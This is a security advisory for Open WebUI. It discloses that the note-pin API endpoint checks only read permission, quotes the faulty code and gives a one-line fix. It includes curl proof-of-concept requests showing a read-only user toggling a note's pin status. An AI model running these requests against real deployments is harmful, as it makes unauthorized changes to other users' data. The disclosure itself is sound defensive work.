GHSA-jx2x-j75f-xq3jLowCVSS 3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
🔗 CVE IDs covered (1)
📋 Description
### Summary
The `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.
### Details
**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**
```python
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
```
**Compare with update endpoint (correct, line 318-327):**
```python
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
```
### PoC
**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.
**Setup:**
1. UserA creates a note
2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}`
**Test:**
```bash
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
```
**E2E Verified Result:**
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
### Impact
- A user with only `read` access to a shared note can toggle its `is_pinned` status
- This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
### Fix
One-line fix — change `permission='read'` to `permission='write'` in `pin_note_by_id`:
```python
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
```
This makes the pin endpoint consistent with update and delete endpoints.
🎯 Affected products1
- pip/open-webui:<= 0.9.2